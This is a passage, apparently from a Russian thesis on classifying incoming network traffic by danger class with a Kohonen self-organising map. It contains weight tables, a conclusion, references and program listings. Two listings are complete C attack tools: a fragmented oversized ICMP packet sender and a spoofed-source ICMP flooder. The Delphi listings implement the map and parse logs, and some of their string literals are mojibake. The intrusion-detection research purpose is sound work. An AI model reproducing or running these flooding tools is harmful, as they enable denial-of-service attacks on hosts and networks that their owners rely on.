4. Обучение карты признаков с механизмом утомления и подстройкой соседей. Карта 10*10 нейронов.
Рис.8 Визуализация карты Кохонена при обучении обучении с использованием механизма утомления и подстройкой соседей.
5 .Алгоритм нейронного газа.=
Рис.9 Визуализация карты Кохонена при обучении. Алгоритмом нейронного газа
Большой разброс по карте различных цветов объясняется самим алгоритмом обучения: здесь соседство нейронов не зависит от расположения нейронов на карте признаков.
Кроме визуализации карты важны также значения синаптических весов. Синаптический вес W0=1- поляризация нейрона.
Пример.1
Рис.10 Карта Кохонена. 5*5 нейронов.
Ниже даны значения синаптических весов для каждого из “живых” нейронов.
Нейрон 0 1 7,87128697398845 0,625510201518193 2,7803597528978 1,89207931247814 3,29053079148225 0,846173185063035 13,5345966850206 7,0865225491331 129,307664502201 1,40585258052631 9,01013368873421 | Нейрон 1 1 7,15478814257012 0,80038505604928 3,4657135681091 2,14143521744823 3,44359875511805 0,776338372597683 12,9441507600633 5,13478248587067 183,45652320823 0,892269137377325 8,8894329158617 | Нейрон 2 1 6,51072352952404 0,992340068508278 4,06763582460853 2,78810515781772 3,8079162430252 0,67583544535221 11,7697105357889 1,88885822746819 277,625057718703 0,489223807498444 9,01986066715186 | Нейрон 3 1 5,89443270744136 1,07835225630037 5,00871505425791 3,21406653769472 4,05965826713145 0,688612599435516 9,64055979833943 0,176019982013541 349,212505651654 0,307102637433364 8,2882446272146 |
Нейрон 4 1 5,70325599064924 1,50203934884403 5,48238703058519 2,857530344957 4,1045922884135 0,559367823973787 9,80870961032371 -2,51748577298294 388,707709851468 0,360064195846817 8,67487120799402 | Нейрон 6 1 6,98662538009356 0,943325646563848 3,76316661580884 2,28074699102588 3,84435226155865 0,675295943164295 13,1166889150889 2,5894675318043 232,422065671803 0,578616436145349 9,30231795759802 | Нейрон 7 1 6,4383154761932 1,30743427921713 4,43322764797434 2,5712769815738 4,015643912254 0,585958396325411 11,4384134686756 0,295227565032279 308,441204991856 0,436934279428607 9,22429249868916 | Нейрон 8 1 6,2914496789632 1,49510940329358 5,16485493868028 2,94683540727014 4,26732605590749 0,59451625983309 10,9123469737949 -2,32327270509521 397,564552174538 0,581383154548032 9,07977817163535 |
Нейрон 9 1 5,78995420800614 1,73921623428801 5,64413639879408 2,83323796423943 4,40990583312066 0,500543095760549 11,1144609757214 -5,73252740367375 449,019038281951 0,657035152619139 9,23115369270226 | Нейрон 10 1 6,97268621817446 0,79277691809128 4,02543058948051 2,46523221397023 3,77806690364019 0,676526389633808 13,8202281014187 0,469769683982962 259,238919476768 0,757542791254212 9,28309047834848 | Нейрон 11 1 7,04631978115591 0,866271976699346 4,10365456015304 2,88223720882954 4,03150518348344 0,741278370899166 13,8559400919982 -1,255919505345 293,322921366235 0,704152207962319 9,48440166138134 | Нейрон 12 1 6,53912681147659 1,56421780805537 4,65601147347958 2,9067904818665 4,27363452636153 0,618578255936595 12,5822623306945 -2,08418808911294 374,872439162492 0,774431791221968 9,54008041266804 |
Нейрон 13 1 5,69340841412797 2,44796836439865 5,48622818955848 2,92237813180815 4,67788797387526 0,423401926734283 12,1938129780133 -3,92356491480928 497,650849296462 1,22621001209077 9,58796185267328 | Нейрон 14 1 5,10226147046721 2,74988223156105 5,9342783502907 2,83173118981968 4,95695609620259 0,316516196981386 12,0153591762438 -5,69212277788297 553,351005991353 1,42911651866737 9,61230903245157 | Нейрон 15 1 6,98052845303821 1,22279827555202 4,46220766547028 2,90189348319595 4,15096271989555 0,718494733032167 13,8462699925973 -0,265034800167613 329,133144315137 0,789272703113608 9,41327311392812 | Нейрон 16 1 6,78108488859872 1,4587788312988 4,75098402281347 2,99715775219415 4,35524349138507 0,688106328846737 13,146546408368 -1,83766433492922 378,789970538933 0,911094890831572 9,47688044148138 |
Нейрон 17 1 5,9813392597355 2,59141112244731 5,42222552146448 2,88984764450358 4,90655379368435 0,558857955310756 12,3129769708837 -1,59557885143347 509,639060778038 1,46442141785324 9,64035319482989 | Нейрон 18 1 4,37316852020513 3,93024605710541 6,35532277636607 2,54556862325942 5,71566995847879 0,301720400062721 12,1338787032946 -0,810932403256381 666,82904006035 2,40887775038786 9,71260136248531 | Нейрон 19 1 3,82835833175608 4,14740478540821 6,51201817449346 2,53488453447905 5,87186670401515 0,209331814630084 12,1270372594924 -1,30049493872786 704,444674316111 2,25030241452771 9,65725372019714 | Нейрон 21 1 6,39813422562582 2,08493929159042 5,32829499657161 3,06032597511598 4,7641814353147 0,582189552264411 12,5599245219555 -1,96191395295381 469,290874929838 1,22613369905861 9,46669357056521 |
Нейрон 23 1 3,55908012277478 4,77646016724021 6,74861021282903 2,41585236193159 6,31871793270481 0,255152204011248 12,1980038558062 1,93696746210735 759,876377313462 2,82715213468638 9,64367900062772 | Нейрон 24 1 3,37428950504548 4,73559755878779 6,67504947616927 2,51158813130044 6,22501279809869 0,20990156336746 12,1086739774428 1,00744771459805 778,544161691368 2,27296953057915 9,5765164059112 |
Табл. 1. Весовые коэффициенты нейронов карты Кохонена для примера 1.
Заключение
В результате проделанной работы создана интеллектуальная система анализа входящего трафика по классам опасности. Система построена на использовании нейронной сети конкурирующего типа. Реализовано обучение сети пятью методами самоорганизации: классический (с настройкой соседей и без неё), механизм утомления (с настройкой соседей и без неё) и алгоритм нейронного газа. В качестве обучающей выборки были использованы данные из журнала входящего трафика, содержащие как пакета передачи данных и управляющие пакеты, так и “опасные” пакеты направленные на нарушение работы хоста (атака для создания доверительного TCP – соединения, лавинное заваливание ICMP и UDP пакетами, передача крупных несвязанных фрагментированных пакетов). Входящие пакеты объединялись в группы и для каждой из групп определялись интегральные критерии на принадлежность к классу опасности. В результате самообучения нейронной сети создан классификатор входящих пакетов.
Список используемой литературы
1. Джон Чирилло. Обнаружение хакерских атак. Для профессионалов (+CD). – СПб.: Питер 2003. – 864 с.: ил.
2. И.Д. Медведовский, П.В. Семьянов, В.В. Платонов. Атака через Internet. Москва. НПО "Мир и семья-95" - 1997 3.Арсеньев С. “Извлечение данных из медицинских баз данных”
4. Круглов В.В., Борисов В.В. “Искусственные нейронные сети. Теория и практика”. –2-е изд., стереотип. - Москва: Горячая линия – Телеком, 2002 г. – 382 с.: ил.
5. Горбань А.Н., Россиев Д.А. “Нейронные сети на персональном компьютере” – Новосибирск: Наука. Сибирская издательская фирма РАН, 1996 г. –276 с.: ил.
6. Ф. Уоссерман “Нейрокомпьютерная техника: теория и практика” – Москва.: Мир, 1992 –182 стр.: ил.
7. Корнеев В.В., Гареев А.Ф., Васютин С.В., Райх В.В. “Базы данных. Интеллектуальная обработка информации” – Москва.: “Нолидж”, 2000 г., - 356с.: ил.
8. Осовский Станислав. Нейронные сети для обработки информации. М: Финансы и статистика. 2002 г. –335 с: ил.
9. Назаров А.В., Лоскутов А.И. Нейросетевые алгоритмы прогнозирования и оптимизации систем. Санкт-Петергург, Наука и техника. 2003 г. -
Листинг программ
1.Атака лавинного типа (запрос на создание TCP-соедиения)
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;
bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc != 2) {
fprintf(stderr, "usage: %s hostname\n", argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[1]);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills in */
ip->ip_src.s_addr = 0; /* kernel fills in */
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
/* the checksum of all 0's is easy to compute */
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
}
Листинг 2. Атака лавинного типа подменёнными ICMP – пакетами.
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#define IPHDRSIZE sizeof(struct iphdr)
#define ICMPHDRSIZE sizeof(struct icmphdr)
#define VIRGIN "1.1"
void version(void) {
printf("flood %s - by FA-Q\n", VIRGIN);
}
void usage(const char *progname)
{
printf("usage: %s [-fV] [-c count] [-i wait] [-s packetsize] <target> <broadcast>\n",progname);
}
unsigned char *dest_name;
unsigned char *spoof_name = NULL;
struct sockaddr_in destaddr, spoofaddr;
unsigned long dest_addr;
unsigned long spoof_addr;
unsigned pingsize, pingsleep, pingnmbr;
char flood = 0;
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
int resolve( const char *name, struct sockaddr_in *addr, int port )
{
struct hostent *host;
bzero((char *)addr,sizeof(struct sockaddr_in));
if (( host = gethostbyname(name) ) == NULL ) {
fprintf(stderr,"%s will not resolve\n",name);
perror(""); return -1;
}
addr->sin_family = host->h_addrtype;
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
addr->sin_port = htons(port);
return 0;
}
unsigned long addr_to_ulong(struct sockaddr_in *addr)
{
return addr->sin_addr.s_addr;
}
int resolve_one(const char *name, unsigned long *addr, const char *desc)
{
struct sockaddr_in tempaddr;
if (resolve(name, &tempaddr,0) == -1) {
printf("%s will not resolve\n",desc);
return -1;
}
*addr = tempaddr.sin_addr.s_addr;
return 0;
}
int resolve_all(const char *dest,
const char *spoof)
{
if (resolve_one(dest,&dest_addr,"dest address")) return -1;
if (spoof!=NULL)
if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;
spoofaddr.sin_addr.s_addr = spoof_addr;
spoofaddr.sin_family = AF_INET;
destaddr.sin_addr.s_addr = dest_addr;
destaddr.sin_family = AF_INET;
}
void give_info(void)
{
printf("\nattacking (%s) from (%s)\n",inet_ntoa(spoof_addr),dest_name);
}
int parse_args(int argc, char *argv[])
{
int opt;
char *endptr;
while ((opt=getopt(argc, argv, "fc:s:i:V")) != -1) {
switch(opt) {
case 'f': flood = 1; break;
case 'c': pingnmbr = strtoul(optarg,&endptr,10);
if (*endptr != '\0') {
printf("%s is an invalid number '%s'.\n", argv[0], optarg);
return -1;
}
break;
case 's': pingsize = strtoul(optarg,&endptr,10);
if (*endptr != '\0') {
printf("%s is a bad packet size '%s'\n", argv[0], optarg);
return -1;
}
break;
case 'i': pingsleep = strtoul(optarg,&endptr,10);
if (*endptr != '\0') {
printf("%s is a bad wait time '%s'\n", argv[0], optarg);
return -1;
}
break;
case 'V': version(); break;
case '?':
case ':': return -1; break;
}
}
if (optind > argc-2) {
return -1;
}
if (!pingsize)
pingsize = 28;
else
pingsize = pingsize - 36;
if (!pingsleep)
pingsleep = 100;
spoof_name = argv[optind++];
dest_name = argv[optind++];
return 0;
}
inline int icmp_echo_send(int socket,
unsigned long spoof_addr,
unsigned long t_addr,
unsigned pingsize)
{
unsigned char packet[5122];
struct iphdr *ip;
struct icmphdr *icmp;
struct iphdr *origip;
unsigned char *data;
int i;
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet+IPHDRSIZE);
origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);
data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);
memset(packet, 0, 5122);
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255-random()%15;
ip->protocol = IPPROTO_ICMP;
ip->tot_len = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);
bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));
bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr));
ip->check = in_cksum(packet,IPHDRSIZE);
origip->version = 4;
origip->ihl = 5;
origip->ttl = ip->ttl - random()%15;
origip->protocol = IPPROTO_TCP;
origip->tot_len = IPHDRSIZE + 30;
origip->id = random()%69;
bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));
origip->check = in_cksum(origip,IPHDRSIZE);
*((unsigned int *)data) = htons(pingsize);
icmp->type = 8; /* why should this be 3? */
icmp->code = 0;
icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);
return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,
(struct sockaddr *)&destaddr,sizeof(struct sockaddr));
}
void main(int argc, char *argv[])
{
int s, i;
int floodloop;
if (parse_args(argc,argv))
{
usage(argv[0]);
return;
}
resolve_all(dest_name, spoof_name);
give_info();
s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!flood)
{
if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
{
printf("%s error sending packet\n",argv[0]); perror(""); return;
}
}
else
{
floodloop = 0;
if ( pingnmbr && (pingnmbr > 0) )
{
printf("sending... packet limit set\n");
for (i=0;i<pingnmbr;i++)
{
if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
{
printf("%s error sending packet\n",argv[0]); perror(""); return;
}
usleep((pingsleep*1000));
if (!(floodloop = (floodloop+1)%25))
{ fprintf(stdout,"."); fflush(stdout);
}
}
printf("\ncomplete, %u packets sent\n", pingnmbr);
}
else {
printf("flooding, (. == 25 packets)\n");
for (i=0;i<1;i)
{
if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
{
printf("%s error sending packet\n",argv[0]); perror(""); return;
}
usleep(900);
if (!(floodloop = (floodloop+1)%25))
{ fprintf(stdout,"."); fflush(stdout);
}
}
}
}
}
Листинг 3. Самоорганизующаяся карта признаков.
TNeuron = class
public
IntVal : TIntArray;
ExtVal : TExtArray;
Pos : Extended;
Status : Extended;
Y : Extended;
MassWeight : Array of Extended;
constructor Init(a : PIntArray; b : PExtArray);
function FunctionActivation : Extended;
procedure GetAksonValue(a : PExtArray);
procedure Randomization;
procedure Distantion(a : PExtArray);
end;
TLayer = class
public
ExtArr : TExtArray;
Neurons : Array of TNeuron;
QNeurons : integer;
QInputs : integer;
InputValues : Array of Extended;
OutputValues : Array of Extended;
constructor Init(a : PIntArray; b : PExtArray);
procedure GetInputValues(Values : PExtArray);
procedure GetOutputValues;
procedure Excitement;
procedure randomization;
end;
TKohonenLayer = class(TLayer)
public
eta,sigma : Extended;
h,w : Word;
constructor Init(a : PIntArray; b : PExtArray);
procedure Normalize;
function TheWinnerTakesItAll : integer;
function Classic : integer;
procedure Learning(a : integer; SpeedLearn : Extended);
procedure LearningNeib(a : integer; SpeedLearn : Extended);
procedure SigmaInit(s : Extended);
procedure ConvexCombination(delta : Extended);
procedure NeuralGaz(SpeedLearn : Extended);
end;
procedure TKohonenLayer.SigmaInit(s : Extended);
begin
Sigma:=s;
end;
procedure TKohonenLayer.ConvexCombination(delta : Extended);
var i : integer;
begin
eta:=eta+delta;
sigma:=sigma+0.1-10*delta;
for i:=0 to QInputs-1 do InputValues[i]:=InputValues[i]*eta+(1-eta)/sqrt(QInputs);
end;
constructor TKohonenLayer.Init(a : PIntArray; b : PExtArray);
var i : integer;
New : TIntArray;
begin
Inherited Init(a,b);
New:=a^;
H:=New.Value[3];
W:=Round(New.Value[2]/New.Value[3]);
Randomization;
for i:=0 to New.Value[2]-1 do Neurons[i].Pos:=3.75;
eta:=0;
end;
procedure TKohonenLayer.Normalize;
var i : integer;
Sum : Extended;
begin
Sum:=0;
for i:=0 to QInputs-1 do Sum:=Sum+Sqr(InputValues[i]);
for i:=0 to QInputs-1 do
InputValues[i]:=InputValues[i]/Sqrt(Sum);
end;
function TKohonenLayer.TheWinnerTakesItAll : integer;
var i,p : integer;
Min : Extended;
begin
Min:=Neurons[0].Y;
p:=0;
for i:=1 to QNeurons-1 do
begin
if Neurons[i].Pos>0.75 then
if Min>Neurons[i].Y then
begin
p:=i;
Min:=Neurons[i].Y;
end;
end;
for i:=0 to QNeurons-1 do Neurons[i].Y:=0;
for i:=0 to QNeurons-1 do
if i=p then Neurons[i].Pos:=Neurons[i].Pos-0.75
else Neurons[i].Pos:=Neurons[i].Pos+1/QNeurons;
Neurons[p].Y:=1;
GetOutputValues;
TheWinnerTakesItAll:=p;
end;
function TKohonenLayer.Classic : integer;
var i,p : integer;
Min : Extended;
begin
Min:=Neurons[0].Y;
p:=0;
for i:=1 to QNeurons-1 do
begin
if Min>Neurons[i].Y then
begin
p:=i;
Min:=Neurons[i].Y;
end;
end;
for i:=0 to QNeurons-1 do Neurons[i].Y:=0;
Neurons[p].Y:=1;
GetOutputValues;
Classic:=p;
end;
procedure TKohonenLayer.Learning(a : integer; SpeedLearn : Extended);
var i : integer;
begin
for i:=1 to QInputs do
Neurons[a].MassWeight[i]:=Neurons[a].MassWeight[i]+
SpeedLearn*(InputValues[i-1]-Neurons[a].MassWeight[i]);
end;
procedure TKohonenLayer.LearningNeib(a : integer; SpeedLearn : Extended);
var i,j : integer;
begin
for j:=0 to QNeurons-1 do
begin
for i:=1 to QInputs do
Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+
exp(-(Sqr((j div w)-(a div w)) + Sqr((j mod h)-(a mod h)))/(2*Sqr(sigma)))
*SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]);
end;
end;
procedure TKohonenLayer.NeuralGaz(SpeedLearn : Extended);
var i,j,k,p : integer;
Mass : Array of Extended;
Min : Extended;
begin
SetLength(Mass,QNeurons);
for i:=0 to QNeurons-1 do Mass[i]:=-1;
p:=0;
for i:=0 to QNeurons-1 do
begin
p:=p+1;
Min:=999999;
k:=-1;
for j:=0 to QNeurons-1 do
begin
if Neurons[j].Y<Min then
if Mass[j]=-1 then
begin
k:=j;
Min:=Neurons[j].Y;
end;
end;
Mass[k]:=p;
end;
for j:=0 to QNeurons-1 do
begin
for i:=1 to QInputs do
Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+
exp(-Mass[j]/Sigma)*SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]);
end;
end;
constructor TNeuron.Init(a : PIntArray; b : PExtArray);
var
New : TIntArray;
begin
New:=a^;
ExtVal:=b^;
IntVal:=TIntArray.Init(2);
IntVal.Value[0]:=New.Value[0]+1;
IntVal.Value[1]:=New.Value[1];
SetLength(MassWeight,IntVal.Value[0]);
if IntVal.Value[0]>0 then MassWeight[0]:=0;
Status:=0;
Y:=0;
Pos:=0;
end;
procedure TNeuron.GetAksonValue(a : PExtArray);
var
i : integer;
b : TExtArray;
begin
b:=a^;
Status:=MassWeight[0];
for i:=1 to IntVal.Value[0]-1 do Status:=Status+MassWeight[i]*b.Value[i-1];
Y:=FunctionActivation;
end;
procedure TNeuron.Distantion(a : PExtArray);
var i : integer;
b : TExtArray;
begin
b:=a^;
Status:=0;
for i:=1 to IntVal.Value[0]-1 do Y:=Y+Sqr(MassWeight[i]-b.Value[i-1]);
Y:=Sqrt(Y);
end;
function TNeuron.FunctionActivation : Extended;
Var m : Extended;
begin
case IntVal.Value[1] of
1 : m:=1/(1+exp(-ExtVal.Value[0]*Status));
2 : m:=ExtVal.Value[0]*Status;
end;
FunctionActivation:=m;
end;
procedure TNeuron.Randomization;
var i : integer;
begin
for i:=0 to IntVal.Value[0]-1 do MassWeight[i]:=random(255);
end;
constructor TLayer.Init(a : PIntArray; b : PExtArray);
var i : integer;
//c : TIntArray;
IntArr : TIntArray;
begin
IntArr:=a^;
QInputs:=IntArr.Value[0];
QNeurons:=IntArr.Value[2];
IntArr.NewLength(2);
ExtArr:=b^;
SetLength(Neurons,SizeOf(TNeuron)*QNeurons);
for i:=0 to QNeurons-1 do Neurons[i]:=TNeuron.Init(@IntArr,b);
SetLength(InputValues,QInputs);
for i:=0 to QInputs-1 do InputValues[i]:=0;
SetLength(OutputValues,QNeurons);
end;
procedure TLayer.GetInputValues(Values : PExtArray);
var i : integer;
a : TExtArray;
begin
a:=Values^;
for i:=0 to QInputs-1 do InputValues[i]:=a.Value[i];
end;
procedure TLayer.Excitement;
var i : integer;
a : TExtArray;
begin
a:=TExtArray.Init(QInputs);
for i:=0 to QInputs-1 do a.Value[i]:=InputValues[i];
for i:=0 to QNeurons-1 do Neurons[i].Distantion(@a);//GetAksonValue(@a);
GetOutputValues;
end;
procedure TLayer.GetOutputValues;
var i : integer;
begin
for i:=0 to QNeurons-1 do OutputValues[i]:=Neurons[i].Y;
end;
procedure TLayer.randomization;
var i : integer;
begin
for i:=0 to QNeurons-1 do Neurons[i].Randomization;
end;
procedure TForm1.Button2Click(Sender: TObject);
var
F : TextFile;
i,j,p,s1,s2,k : integer;
Str : String;
Ch : Char;
Sum : integer;
Temp : Array of String;
begin
OpenDialog1.Filter:='Æóðíàëüíûé ôàéë|*.log|';
if (OpenDialog1.Execute) and fileExists(OpenDialog1.FileName) then
begin
AssignFile(F,OpenDialog1.FileName);
Reset(F);
ReadLn(F);
Read(F,Q);
SetLength(Prot,Q);
SetLength(Host,Q);
SetLength(LocalH,Q);
SetLength(Frag,Q);
SetLength(Size,Q);
SetLength(Proc,Q);
SetLength(Active,Q);
SetLength(HACK,Q);
MyList.Clear;
MyList.Add('Íîìåð');
MyList.Add('Ïðîòîêîë');
MyList.Add('Õîñò');
MyList.Add('Ñâîÿ ËÂÑ');
MyList.Add('Ôðàãìåíòàöèÿ');
MyList.Add('Ðàçìåð');
MyList.Add('Ïðîöåññîð %%');
MyList.Add('Îòâå÷àåò');
StringGrid1.RowCount:=Q+1;
StringGrid1.Rows[0]:=MyList;
for i:=0 to Q-1 do
begin
MyList.Clear;
Read(F,j);
MyList.Add(IntToStr(j));
//Memo4.Lines.Add(IntToStr(j));
Read(F,Ch);
Read(F,Ch);
Read(F,Ch);
Prot[i]:='';
While(ch<>' ') do
begin
Prot[i]:=Prot[i]+Ch;
Read(F,Ch);
end;
MyList.Add(Prot[i]);
Read(F,Ch);
Read(F,Ch);
Read(F,Ch);
Host[i]:='';
While(ch<>' ') do
begin
Host[i]:=Host[i]+Ch;
Read(F,Ch);
end;
MyList.Add(Host[i]);
Read(F,Ch);
Read(F,Ch);
Str:='';
While(ch<>' ') do
begin
Str:=Str+Ch;
Read(F,Ch);
end;
MyList.Add(Str);
if Str='YES' then LocalH[i]:=1 else LocalH[i]:=0;
Read(F,Ch);
Read(F,Ch);
Str:='';
While(ch<>' ') do
begin
Str:=Str+Ch;
Read(F,Ch);
end;
MyList.Add(Str);
if Str='YES' then Frag[i]:=1 else Frag[i]:=0;
Read(F,Size[i]);
MyList.Add(IntToStr(Size[i]));
Read(F,Proc[i]);
MyList.Add(IntToStr(Proc[i]));
Read(F,Ch);
Read(F,Ch);
Read(F,Ch);
Str:='';
While(ch<>' ') do
begin
Str:=Str+Ch;
Read(F,Ch);
end;
MyList.Add(Str);
if Str='YES' then Active[i]:=1 else Active[i]:=0;
StringGrid1.Rows[j]:=MyList;
Read(F,Ch);
if Ch='H' then HACK[i]:=1 else HACK[i]:=0;
//Memo4.Lines.Add('**************');
end;
//Memo4.Lines.Add(IntToStr(Q));
CloseFile(F);
SetLength(Temp,10);
SetLength(Mass,(Q-1)*11);
SetLength(SHack,Q-1);
for i:=0 to Q-12 do
begin
Mass[12*i]:=0;
for j:=0 to 9 do Mass[12*i]:=Mass[12*i]+LocalH[i+j];
Mass[12*i+1]:=0;
for j:=0 to 9 do Mass[12*i+1]:=Mass[12*i+1]+Frag[i+j];
Mass[12*i+2]:=0;
Mass[12*i+3]:=0;
for j:=0 to 9 do
if Prot[i+j]='TCP' then Mass[12*i+2]:=Mass[12*i+2]+1;
for j:=0 to 9 do
if Prot[i+j]='UDP' then Mass[12*i+3]:=Mass[12*i+3]+1;
Sum:=1;
s1:=0;
for j:=0 to 9 do
begin
Str:=Host[i+j];
p:=0;
for k:=0 to 9 do
begin
if Str=Host[i+k] then
begin
p:=p+1;
s2:=k;
end;
end;
if p>Sum then
begin
Sum:=p;
s1:=s2;
end;
end;
Mass[12*i+4]:=Sum;
Mass[12*i+5]:=LocalH[i+s1];
Sum:=0;
for j:=0 to 9 do Sum:=Sum+Proc[i+j];
Mass[12*i+6]:=Sum/10;
Mass[12*i+7]:=Proc[i+9]-Proc[i];
Sum:=0;
for j:=0 to 9 do Sum:=Sum+Size[i+j];
Mass[12*i+8]:=Sum/10;
Sum:=0;
for j:=0 to 9 do
if (Size[i+j]>=0.8*Mass[12*i+8])and
(Size[i+j]<=1.2*Mass[12*i+8]) then Sum:=Sum+1;
Mass[12*i+9]:=Sum;
Sum:=0;
for j:=0 to 9 do Sum:=Sum+Active[i+j];
Mass[12*i+10]:=Sum;
for j:=0 to 9 do Temp[j]:=Host[i+j];
for j:=0 to 8 do
begin
Str:=Temp[j];
for k:=0 to 9 do
if k<>j then
if Str=Temp[k] then Temp[k]:='';
end;
Sum:=0;
for j:=0 to 9 do
if Temp[j]<>'' then Sum:=Sum+1;
Mass[12*i+11]:=Sum;
Sum:=0;
for j:=0 to 9 do Sum:=Sum+HACK[i+j];
SHAck[i]:=Sum;
end;
end;
end;
procedure TForm1.InitializationMap;
var i,j,p : integer;
begin
for i:=0 to H*W-1 do
begin
p:=Random(Q-13);
for j:=0 to 10 do
KMap.Neurons[i].MassWeight[j+1]:=Mass[12*p+j];
end;
end;
procedure TForm1.Button3Click(Sender: TObject);
var i,j,p,k,m : integer;
Quant,Winner : integer;
Part : TExtArray;
SMax,SMin : Extended;
begin
InitializationMap;
for i:=0 to Image1.Height-1 do
for j:=0 to Image1.Width-1 do
Image1.Picture.Bitmap.Canvas.Pixels[i,j]:=RGB(150,150,150);
Quant:=StrToInt(Edit3.Text);
Part:=TExtArray.Init(12);
SMax:=0.7;
SMin:=0.0001;
ProgressBar1.Max:=Quant;
ProgressBar1.Position:=0;
for i:=0 to Quant-1 do
begin
KMap.SigmaInit(10*(1-i/Quant)+0.1);
p:=Random(Q-12);
for j:=0 to 11 do Part.Value[j]:=Mass[12*p+j];
KMap.GetInputValues(@Part);
KMap.Excitement;
Case RadioGroup1.ItemIndex of
0:
begin
Winner:=KMap.Classic;
if CheckBox1.Checked then KMap.LearningNeib(Winner,SMax-(SMax-SMin)*i/Quant)
else KMap.Learning(Winner,SMax-(SMax-SMin)*i/Quant);
end;
1:
begin
Winner:=KMAp.TheWinnerTakesItAll;
if CheckBox1.Checked then KMap.LearningNeib(Winner,SMax-(SMax-SMin)*i/Quant)
else KMap.Learning(Winner,SMax-(SMax-SMin)*i/Quant)
end;
2:
begin
KMap.NeuralGaz(SMax-(SMax-SMin)*i/Quant);
end;
end;
ProgressBar1.StepBy(1);
end;
ProgressBar1.Position:=0;
for i:=0 to KMap.QNeurons-1 do
KMap.Neurons[i].MassWeight[0]:=0;
for i:=0 to Q-12 do
begin
for j:=0 to 11 do Part.Value[j]:=Mass[12*i+j];
KMap.GetInputValues(@Part);
KMap.Excitement;
Winner:=KMap.Classic;
KMap.Neurons[Winner].MassWeight[0]:=1;
//Memo4.Lines.Add(IntToStr(Winner));
if SHack[i]>=8 then
begin
for m:=0 to W1-1 do
for k:=0 to H1-1 do
Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(255,0,0);
end
else if SHack[i]=7 then
begin
for m:=0 to W1-1 do
for k:=0 to H1-1 do
Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(255,40,40);
end
else if SHack[i]=6 then
begin
for m:=0 to W1-1 do
for k:=0 to H1-1 do
Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,80,80);
end
else if SHack[i]=5 then
begin
for m:=0 to W1-1 do
for k:=0 to H1-1 do
Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,120,120);
end
else if SHack[i]=4 then
begin
for m:=0 to W1-1 do
for k:=0 to H1-1 do
